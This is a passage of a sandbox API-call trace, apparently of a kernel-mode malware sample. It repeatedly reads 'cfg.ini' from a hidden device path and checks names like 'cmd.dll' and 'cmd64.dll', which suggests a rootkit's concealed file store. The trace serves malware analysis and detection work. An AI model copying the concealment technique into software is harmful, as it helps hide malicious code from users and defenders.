Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.349] IdePortDispatch () returned 0x103 [0122.349] KeWaitForMutexObject () returned 0x0 [0122.349] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.349] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.349] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.349] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.349] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.349] IdePortDispatch () returned 0x103 [0122.349] KeWaitForMutexObject () returned 0x0 [0122.349] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.349] KeLeaveCriticalRegion () [0122.349] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.350] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.350] KeEnterCriticalRegion () [0122.350] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.350] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.350] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.350] KeLeaveCriticalRegion () [0122.350] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.350] KeEnterCriticalRegion () [0122.350] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.350] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.350] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be4dc0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.350] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.350] KeLeaveCriticalRegion () [0122.350] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.350] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.350] KeEnterCriticalRegion () [0122.350] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.350] ExFreePoolWithTag (P=0xfffffa8003be3fb0, Tag=0x0) [0122.350] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.350] KeLeaveCriticalRegion () [0122.350] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.350] ReleaseMutex (hMutex=0xf0) returned 1 [0122.350] Sleep (dwMilliseconds=0x124f80) [0122.364] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.364] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.364] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.364] KeEnterCriticalRegion () [0122.364] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.364] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.364] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.364] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.364] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0122.364] IdePortDispatch () returned 0x103 [0122.364] KeWaitForMutexObject () returned 0x0 [0122.364] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.364] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.364] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.364] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.364] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.364] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be3fb0 [0122.364] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.364] KeLeaveCriticalRegion () [0122.364] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.364] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.364] KeEnterCriticalRegion () [0122.364] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.364] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.364] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.364] KeLeaveCriticalRegion () [0122.365] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.365] KeEnterCriticalRegion () [0122.365] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.365] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.365] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.365] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.365] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0122.365] IdePortDispatch () returned 0x103 [0122.365] KeWaitForMutexObject () returned 0x0 [0122.365] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.365] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.365] KeLeaveCriticalRegion () [0122.365] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.365] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.365] KeEnterCriticalRegion () [0122.365] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.365] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c77000 [0122.365] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.365] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.365] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.365] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.365] IdePortDispatch () returned 0x103 [0122.365] KeWaitForMutexObject () returned 0x0 [0122.365] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.365] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.365] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.365] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.365] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.365] IdePortDispatch () returned 0x103 [0122.366] KeWaitForMutexObject () returned 0x0 [0122.366] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.366] KeLeaveCriticalRegion () [0122.366] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.366] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.366] KeEnterCriticalRegion () [0122.366] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.366] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.366] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.366] KeLeaveCriticalRegion () [0122.366] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.366] KeEnterCriticalRegion () [0122.366] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.366] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.366] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be4340, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.366] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.366] KeLeaveCriticalRegion () [0122.366] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.366] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.366] KeEnterCriticalRegion () [0122.366] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.366] ExFreePoolWithTag (P=0xfffffa8003be3fb0, Tag=0x0) [0122.366] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.366] KeLeaveCriticalRegion () [0122.367] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.367] ReleaseMutex (hMutex=0xf0) returned 1 [0122.367] Sleep (dwMilliseconds=0x124f80) [0122.382] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.382] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.382] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.382] KeEnterCriticalRegion () [0122.382] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.382] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.382] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.382] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.382] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0122.382] IdePortDispatch () returned 0x103 [0122.382] KeWaitForMutexObject () returned 0x0 [0122.382] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.382] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.382] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.382] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.382] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.382] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be4790 [0122.382] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.382] KeLeaveCriticalRegion () [0122.382] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.382] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.382] KeEnterCriticalRegion () [0122.382] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.382] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.382] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.382] KeLeaveCriticalRegion () [0122.382] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.382] KeEnterCriticalRegion () [0122.382] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.382] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.382] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.383] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.383] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0122.383] IdePortDispatch () returned 0x103 [0122.383] KeWaitForMutexObject () returned 0x0 [0122.383] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.383] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.383] KeLeaveCriticalRegion () [0122.383] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.383] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.383] KeEnterCriticalRegion () [0122.383] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.383] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c7c000 [0122.383] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.383] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.383] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.383] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.383] IdePortDispatch () returned 0x103 [0122.383] KeWaitForMutexObject () returned 0x0 [0122.383] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.383] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.383] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.383] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.383] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.383] IdePortDispatch () returned 0x103 [0122.383] KeWaitForMutexObject () returned 0x0 [0122.384] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.384] KeLeaveCriticalRegion () [0122.384] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.384] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.384] KeEnterCriticalRegion () [0122.384] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.384] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.384] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.384] KeLeaveCriticalRegion () [0122.384] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.384] KeEnterCriticalRegion () [0122.384] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.384] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.384] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be4dc0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.384] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.384] KeLeaveCriticalRegion () [0122.384] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.384] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.384] KeEnterCriticalRegion () [0122.384] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.384] ExFreePoolWithTag (P=0xfffffa8003be4790, Tag=0x0) [0122.384] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.384] KeLeaveCriticalRegion () [0122.384] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.384] ReleaseMutex (hMutex=0xf0) returned 1 [0122.384] Sleep (dwMilliseconds=0x124f80) [0122.400] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.400] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.400] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.400] KeEnterCriticalRegion () [0122.400] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.400] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.400] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.400] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.400] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0122.400] IdePortDispatch () returned 0x103 [0122.401] KeWaitForMutexObject () returned 0x0 [0122.401] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.401] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.401] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.401] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.401] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.401] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be3fb0 [0122.401] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.401] KeLeaveCriticalRegion () [0122.401] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.401] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.401] KeEnterCriticalRegion () [0122.401] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.401] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.401] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.401] KeLeaveCriticalRegion () [0122.401] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.401] KeEnterCriticalRegion () [0122.401] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.401] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.401] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.401] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.401] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0122.401] IdePortDispatch () returned 0x103 [0122.402] KeWaitForMutexObject () returned 0x0 [0122.402] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.402] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.402] KeLeaveCriticalRegion () [0122.402] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.402] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.402] KeEnterCriticalRegion () [0122.402] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.402] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c81000 [0122.402] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.402] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.402] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.402] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.402] IdePortDispatch () returned 0x103 [0122.402] KeWaitForMutexObject () returned 0x0 [0122.402] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.402] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.402] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.402] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.402] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.402] IdePortDispatch () returned 0x103 [0122.403] KeWaitForMutexObject () returned 0x0 [0122.403] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.403] KeLeaveCriticalRegion () [0122.403] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.403] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.403] KeEnterCriticalRegion () [0122.403] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.403] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.403] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.403] KeLeaveCriticalRegion () [0122.403] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.403] KeEnterCriticalRegion () [0122.403] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.403] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.403] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be4340, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.403] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.403] KeLeaveCriticalRegion () [0122.403] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.403] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.403] KeEnterCriticalRegion () [0122.403] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.403] ExFreePoolWithTag 